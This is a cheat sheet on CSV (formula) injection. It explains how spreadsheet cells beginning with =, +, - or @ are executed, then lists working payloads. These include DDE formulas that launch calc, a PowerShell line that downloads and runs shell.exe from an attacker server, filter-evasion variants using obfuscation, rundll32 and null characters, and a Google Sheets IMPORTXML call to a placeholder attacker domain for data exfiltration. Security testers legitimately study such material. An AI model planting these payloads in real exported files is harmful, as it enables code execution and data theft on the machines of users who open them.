CSV Injection

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:

=
+
–
@

Basic exploits with Dynamic Data Exchange.

• Spawn a calc

  DDE ("cmd";"/C calc";"!A0")A0
  @SUM(1+1)*cmd|' /C calc'!A0
  =2+5+cmd|' /C calc'!A0
  =cmd|' /C calc'!'A1'
  

• PowerShell download and execute

  =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
  

• Prefix obfuscation and command chaining

  =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
  =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
  =         cmd|'/c calc.exe'!A
  

• Using rundll32 instead of cmd

  =rundll32|'URL.dll,OpenURL calc.exe'!A
  =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
  

• Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.

  =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
  

Technical details of the above payloads:

• cmd is the name the server can respond to whenever a client is trying to access the server
• /C calc is the file name which in our case is the calc(i.e the calc.exe)
• !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

Google Sheets allows some additional formulas that are able to fetch remote URLs:

• IMPORTXML(url, xpath_query, locale)
• IMPORTRANGE(spreadsheet_url, range_string)
• IMPORTHTML(url, query, index)
• IMPORTFEED(url, [query], [headers], [num_items])
• IMPORTDATA(url)

So one can test blind formula injection or a potential for data exfiltration with:

=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")

Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.